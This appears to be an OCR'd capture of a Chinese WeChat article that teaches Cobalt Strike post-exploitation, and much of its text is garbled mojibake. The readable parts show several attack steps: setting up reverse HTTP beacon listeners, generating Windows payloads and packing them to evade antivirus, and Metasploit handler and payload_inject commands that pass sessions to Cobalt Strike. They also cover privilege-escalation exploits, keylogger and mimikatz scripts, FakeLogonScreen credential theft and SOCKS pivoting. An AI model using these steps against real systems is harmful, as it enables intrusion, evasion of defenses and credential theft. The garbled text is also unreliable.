2021/7/24 % | CSRATI A (FhEA)

55 | CS RMEA  (FfilA)

fFE: EiERZE - hpbl 5EF!

BRB—RezpRET R, FRRTT SHUNKGEDT , SAMERR—RET
R, XT cs XUEAREBENER, SKihf!

—. Cobaltstrike &1
TER—50DE APT TR, IDEE+o@Ak, HNWMAZENNLFIER apt AOEH|
KIRINRE, [FHEISRARZE APT AENEIE

firceye ZR NI SERS cobaltstrike #1T apt AIZEH,

Cobaltstrike &3

CS FE—PIRSEKH1T, HNIEEHREIRSE:E L.
SA[EIS1T . /teaserver ip =3 Bll9],

H # ./teamserver 192.168.2.103 123456789
Will use existing X509 certificate and keystore (for 55L)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Team server is up on 50050
SHA256 hash of SSL cert is: Tb49fc589eTe738e3457859d269996ecef831693570b0ac482c426b1fa04bd73

AIEER CS ERim&ERENR], BMANL p. mOMES.
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2021/7/24 | CSHATMEA (i IAR)

: E Connect = O bt
Mew Profile EHEF| Cobalt Strike(AggressoniR Ses
127.0.0.1
192.168.1.4 . ;

- !
102 168.0.180 L [192.168.2.103 J
47.96.124.100 0 (50050 |
192 168.0.165 [

o (root
154 221.28.190 s |
192 168 43 27 R [ |
192.168.43.147
| || g |

Cobaltstrike £ A S
EEmeicaEs

ICEAEED
|mame: ~ payoad nost port bindto beatons profile
Ziss windows/beacon _hitpreverse :_hitp 192 168 43 147 B080 192 166 43 147 default

W —)  £pEII-) windows executable , EFFIE T SR FEIPTAEMKRE

Covalt Strike M@ 11T RS HEh

M s [p— | B

eitemna VIEME | Ms omee Macro istener g Eompuiey note process
WHEIE Payload Generator
Bypassav Wincows Executable ()

=

https://mp.weixin.qq.com/s/Lj7Ba3fzjsNE6JCupqrnbg

2/16



2021/7/24 % | CSRATI A (FhEA)

[12/07 22:56] root

| # Windows Executable — O %

ARO[ HIITWindowsA Sy, IEFHEESEREWindowsa]
itk . {EFCobalt Strike ArsenalfilZ= (EEEh- -

YIRS [zzss |l
it [Windt}ws EXE - ]

¥64: ["] & FAx64 payload

[ Generate H S| ]

AT CS EMABEEBEARPIMARSE, REZAER, MMURNTBHIT LR

RIRTE,
(S E AEET SO
HRIXEIIE 11, ZENZEPE
REEIE P
Ch\Users\hpb0715\Desktoph\artifact.exe - s

|= Backdoor/CobaltStrike.d

s

Z.EBERERAR

1. A BUFAIERS

2. THEL RR

8. M=RR
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2021/7/24 FA4% | CSHpARMEA (FE4)
4. NIFRFR

5. ZIRIR1E

(@)
S
il
o
X

~
9
<
—
WK
U
<

= EX (BRER + MRAGRR)

XEFRARZENRARGHIA, SAEEEMANFEET, B2BIENRRLE
B] A Bypass 57,

[~ cpt
| ¢ Cobalt Strike

2020~

PIENE internal ~ listener
HEEF 18
BeEF Strike *

BypassAV

e
| ¥ Generator

EH T AT BREE R R AR AT

Listener: [Zzss ‘ u

X64: [] 5 A6 412 fIpayload

[eneme | 221

B SCITITNA Rrestorator , HEHAARDSHING =, IEMZEERZREERHEFZ
ABE, RbfrEFRIA,
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2021/7/24 FA4% | CSHpARMEA (FE4)

BeS Restorator 2018 - C:\Users\hpb0715\Desktop\Bypass.exe

Fle Resources Viewer Edit Tools Help
D -BdEOAMRDE e TDH@E 4+ ¢ &R

Fesource Viewer  Fie Browser

Resouice Tree
~ ] Bypass.ene Nams Sizs
- Diao
w 2 ‘fb @ Dialog
; 106 & leon
E 11 18 Veszon
(# leon 5 Mandest

v
l

~ () Mordest
A

B cloudnusicoetup? 71190242 exe
(3 Dialog
& lea

L Verson
L Marifest

AT XEFELRNE, EEAKT, BEHAABRT

) RS E mEE 6 = _ X

HRIMXPEIMR 11, ZENZEPRE HE
=Tt
RSTAE s
C:\Users\Xuanlian\Desktop\ExEinfoPEv0.0.5.6\Bypass.exe - e
EES S =

Backdoor/CobaltStrike.c

wiggee BIPJAE A,

BABANI XA, #HTNR, WUEIMEAES L, [RE
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2021/7/24 FA4% | CSHpARMEA (FE4)

'V Safengine Shielden v2.4.0.0

mE(P) 7KEI(W)

| C:\Users\hpb0715\Desktop \Bypass. exe | P | [ s

| Ci\Usersthpb0715'DeskiopBypass_se.exe |

= DOl &
= EEmE
HEEE
=R
=k
[EEERE
EEEF
) HEEElR
IS oftICE
tElllSyser
1&OllyDbg
ENSESREN
tilliFileMon
tEliRegMon
FEAMERIA L]
EIER S v
#MRegMon
ST EERE T BRegMon,
| |
74P zfa

BB ARRER, RMESRREN T, 5 7 AgH 360
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2021/7/24

T8 | CSRARMHER (FA)

! N wmss
| Oz SREORRTRE
0=  ceees

HETSR 31

R : 04~

REER

B AE - 00:00:01

SRR < 04

Y

| 230
RESEGE
y | .‘ /E%‘-ﬁEEIKEB. BEREES
-+
e

Az, REMADHS

EEENFETNEN, SAERSESNE, TEREREHERERTR SR

EREREN: (ERRiEHteRNERIETEE,

<

{iAknmE

FEE

o—
.
v St

AL HEEEEMEE

—EEEN SRR TEREE

EEEHRS

SRETEEREDRRER, AUNBEISERE,
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2021/7/24 F15

L AL

B | EfE
name. ~ payioad
zz55

host
WINGoWS/DEacon_Mipreverse_itp

192 168 43147

Cobalt strike [@ Msf (5B E1E:

| CSHAREEA (BRI

beacans
B080 192 166 43147

SFABRE— CS REREN, BB AEIBE] msf Ig?

4

HthitE e, ShE—Tmnrss,

| ¥ New Listener

iﬁ%ﬁﬂ%?ﬂ Foreign HTTP ,

Create a listener.

2E [msf

Payload: IFDreign HTTP

Payload Options

HTTP Host (Stager): 192 168 43 147

HTTP Port (Stager): [2020]

_save || 78 |

FeE T LR EN AT spawn (1IME1E)

DR msf W IF AR < EE U R~ 1E
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B | CSHATMMA (M)

Cobalt Strike ¥IE Wik W& H08)

O O EH=9 82U el fa Biag

external internal =~ listener user computer

® 192 168.43.106 169.254.184.170 DESKTOP-T7GJSKA
192.168.43.106 160.254.184.170 7258 it A\beacon XuanJian DESKTOP-TTGJSKA

|.E|:=!_=.x | kr@x | Beacon 169.254. 184 170@12004 X | g |

msf5 > use exploit/multi/handler

msf5 exploit( ) = set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

msf5 exploit( ) > set Lhost 192.168.43.147

Lhost == 192.168.43.147

msf5 exploit( ) = set lport 2020

Lport => 2020

msf5 exploit( ) = run

Started HTTP reverse handler on http://192.168.43.147:2020

http://192.168.43.147:2020 handling request from 192.168.43.106; (UUID: djbuiojv) S
taging x86 payload (181337 bytes) ...

Meterpreter session 4 opened (192.168.43.147:2020 -> 192.168.43.106:51968) at 2020-
12-08 00:51:49 +0800

meterpreter = I

Msf JR&E shell 45 Cobaltstrike:

g%ﬂ%%ﬁ@_/\\lﬂcﬁﬂﬁ%, iﬁ%jﬁﬁ%jﬂ beacon HTTP
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2021/7/24 FA4% | CSHpARMEA (FE4)

— ]
| # MNew Listener

Create a listener.

gr s s|

FPayload: IEeacon HTTF - ]

Payload Options

HTTP Hosts: 192 168 43 147 3

HTTP Host (Stager): [192 168 43 147 |

Profile: default -

HTTP Port (C2)  [8081

HTTP Port (Bind): |

HTTF Host Header: [

HTTP Proxy: [

| save ||z |

B NEIE kali E3R1EHY meterpreter>=lE YL %% cobaltstrike ] L,

XEBHANTBEZRE— exploitigit

1. exploit/windows/local/payload_inject

2. set payload windows/meterpreter/reverse_http
3. set DisablePayloadHandler true

4. set lhost 192.168.43.147

5. set lport 8081

6. set session 4
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2021/7/24 % | CSRATI A (FhEA)
7. run

CobaltStriked : ruby — Konsole
NHHF  4EEE) @BV BEE) O RESG)  EERM

[*] Starting interaction with 4...

meterpreter > background
[*] Backgrounding session 4...

msf5 exploit( ) = use exploit/windows/Llocal/payload_inject
msf5 exploit( ) » set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

msf5 exploit( ) » set DisablePayloadHandler true
DisablePayloadHandler == true

msf5 exploit( set lhost 192.168.43.147

Lhost == 192.168.43.147

msf5 exploit( set Lport 8081

Lport == 8081

msf5 exploit( set session 4

session => 4

msf5 exploit(

[*] Running module against DESKTOP-T7GJSKA
PID does not actually exist.
[*] Launching notepad.exe...
[*] Preparing 'windows/meterpreter/reverse_http' for PID 13624
msf5 exploit( ) > I

XEHER[EZEFin e LA 2 LIRE—137 CS N1

Covan siwe W i i R
O8O E=¢ B fu Gebc dala

enema mema ~ m— wser computer note process P arn i
B 102 16 106 160 2 4170 Zrss Xuanian DESKTOP-TTGJSKA Bypass_se exe 13004 w6 2

160254 184170 Zess XuanJian DESKTOP-TTGJSKA Bypass_se ere 13844 "6 3

BEx | 4mmigx | seacon 160254 184 170@ 12004 % | SR

Cobaltstrike 21X

S

I2EIZEN, BIERAZMIN sleep 1 FASMMNAT(E],
EN cs BUAATERMNLA 60/s , XFFXRIET,

= [ISMUTER S
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2021/7/24 FA4% | CSHpARMEA (FE4)

I\ TN DN oL\

beacon> sleep 1

[*] Tasked beacon to sleep for 1ls

[+] hos=t called home, sent: 16 bytes

ETREEARNIE?

FH B2 beacon shell TN elevate B & A1) BAVIENHIA, INEEHW T,

HEX | WAEmRy | Beacon 192.168.2.102@1720 X I—

levate

1 Exploits
Description

cen-duplication

N7 EEBNNRNEAR, Z(TFIUESSA—1T SN,

SNREE:  cobalt strike-) fil£-) laod->%EES \cna B,
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2021/7/24 FA4% | CSHpARMEA (FE4)

HEx | H+EEEEX | Beacon 192.168.2.102@1720 X

path

F:\CobaltStriked\taowu-cobalt-strike-master\Main_cna
F:\CobaltStriked\AgaressorScripts-masteriogvis.cna
F:\CobaltStriked\cortana-scripts-masteribeef_strike.cna
F\CobaltStriked\Aggressor-Scripts-master\ProcessTree.cna

F\CobaltStriked\Aggressor-Scripts-masterauto-keylogger.cna
F\CobaltStriked\Aggressor-Scripts-masterkits\KitLoader.cna
F\CobaltStriked\Aggressor-Scripts-masteriPushoveri\pushover.cna
F\CobaltStrike4\Aggressor-Script-masterioader cna
F\CobaltStriked\aggressor_scripts_collection-masterimimikatz-every-30m.cna
F\CobaltStriked\aggressor_scripts_collection-mastermimikatz-timestamp-note-BETA cna
F\fl=F\loader.cna

C:\Users\hpb0715\Downloads\BypassAV-master\BypassAV-masterbyp

SARE, BIMERSTSANMAZEEN:
EREIE-) HHl-) R4S -) ms14-058

XEMRP]IUEZNRE— systemtinir , 1B,

~ 611538 g Administrator * WIN-RRIGTISNESD A5 ST exe
P 183.6.115.38 Administrator * WIN-RRIGTOSNBSD

Bx | BEESEL | Beacon 192 168 2 102@1720 X g |
LIRS ‘Watson

- " | dazzievp

ey e—r——— Do

FAG g0 ;“i,w ProcessTree tna MFBD | ucypotato

e | P9

F\Cobanstriked\Aggressor-Seripls-masterkits\KitL sader cna N S

F \CobatStrkedAggressor-Scripts-masterPushoveripushover cna 70" | MS15-016

FAC \g Seript oader tna M$16-082

F:\CH ] ~_scripts_collecti -every-30m.cna | M516-135

F\CobaltStriked\aggressor_scripts_collection-masiermimikatz-timestamp-note-| CVE-2020-0796

Fjfi#ucader cna BypassUAC

C:WUsersthpb07 151D -cobalt-striks \taowu-cobalt-strik TE
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2021/7/24 FA4% | CSHpARMEA (FE4)

‘Cooall Sirke I E RE B

DO N EHE BL/UL b0 Ffa Ba
i intemal =

| enema Istener user comguter note process it

1B3.6.115.38 192 168 157.132 azax Aaminisirator WIN-RRIGTISNESD BSEEF ee 3060 XB6

BiEx | BRemmams | Beacon 162 1662 102@1720 X

Cobaltstrike {8i& Windows & &A@
BRMEIRENBSIERN, ANBMAGHRAY S, 5B RERMENNEEERLG, 7
BEEHOEME, XMEMM,

XEHEFAI I c BEE—THNENAFERINERGIEN, 7 beacon

i@)\ﬁé\ execute-assembly FakeLogonScreen.exe Eﬂﬂ

beacon> execute-assembly FakelogonScreen.exe

[*] Tasked beacon te run .NET program: FakelogonScreen.exe

[+] host called home, sent: 133163 bytes

[+] receiwved output

LR BfrRSEEH T ERE, BneEA—&2INzt S8BT A MEE, B
BNED,

XA EFA N os EFim Pl ABERIEEABMARNNS T,

3 Deben 5.0 2 MR L0

[ ]

Xuanlian
I

Bis ) EmBE i, AN M
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2021/7/24 FA4% | CSHpARMEA (FE4)

7 Cobal Swiks F———
Cobalt Ske E TE WS B
DR O HS¢ 8L b0 fa ia

enternal intermal ~

192 1682 102
B 1021682101

a3 Kuanjian

a3 Administralar *

EEX | Beacon 169.254 184.170@12212 X | Beacon 162 168.2.101@2452 X | Beacon 169 25

184 170@6200 X

[DESKTOP-TIGISKA] Fuandian/ 6200

IRENN ST 2R A TP RO D
REANTIRIELE, SR

PR RIS METFEN AR

RSESSING TR IV EEVN

RICESE

1t SRHTIRBUF RN 2R R0 EAS

7 Cobalt Strks. =
Caball Strke B WE RS MEH
DO O EHS¢ B2/ el Fa Ba

extermal internal = nstener

computer note.
9.1 00215 ana

azar

-
-
L]
[
-
]
L]
-

8- 163511538
183.6.115.38 ViIN-RRIGTESNBSD) BypassAV_seere

BEX | Beacon 172.16.12.1@7808_X Eife Beacon 192 166 2 102012000

[DESKTOP-JCOBDAR) postgres */20724

A W F ik

https://mp.weixin.qq.com/s/Lj7Ba3fzjsNE6JCupqrnbg 15/16



2021/7/24 T2 | CSHAFMH (FA)
SHNNZETANG, #A ARMEFEERMNERRNLG, EO9EZ M b ER TP
RHZE MR, R AR ARG T,

Scaning Web Title....

92.168.157.1:80

ived output

Cobaltstrike {CHE

ZIEAHE -) % -) SOCKS Server JT/3 socks4 U3, AR ENIRO, FTIT
proxifier BINFAIRIMNEIZA K BIPT, XSAMME Z#RFE,

X | Beacon 182 1652 102@3188 X

Fsanso. - O *

[T E T e
| REY

I : 1632 Bk 2l REESS 7 X

efault: 19

efault: 19

| w0 [24406 |

st
() S0CKS MRk &

(®)S0CKS MRk 4
(CIHTTES

N .
it /w0 gem g S
127.0.0.1 24496 SOCES4

=8 LR —
¥

| 1 [ &M socks 4a R GRIFFNE@EIFTHES
SRR — IR RS SR — T X318

WE ELiH _

el HRE wE =5 .. BLH

160 9 1M 1024 — FEENEA W . f#E2 1nnan
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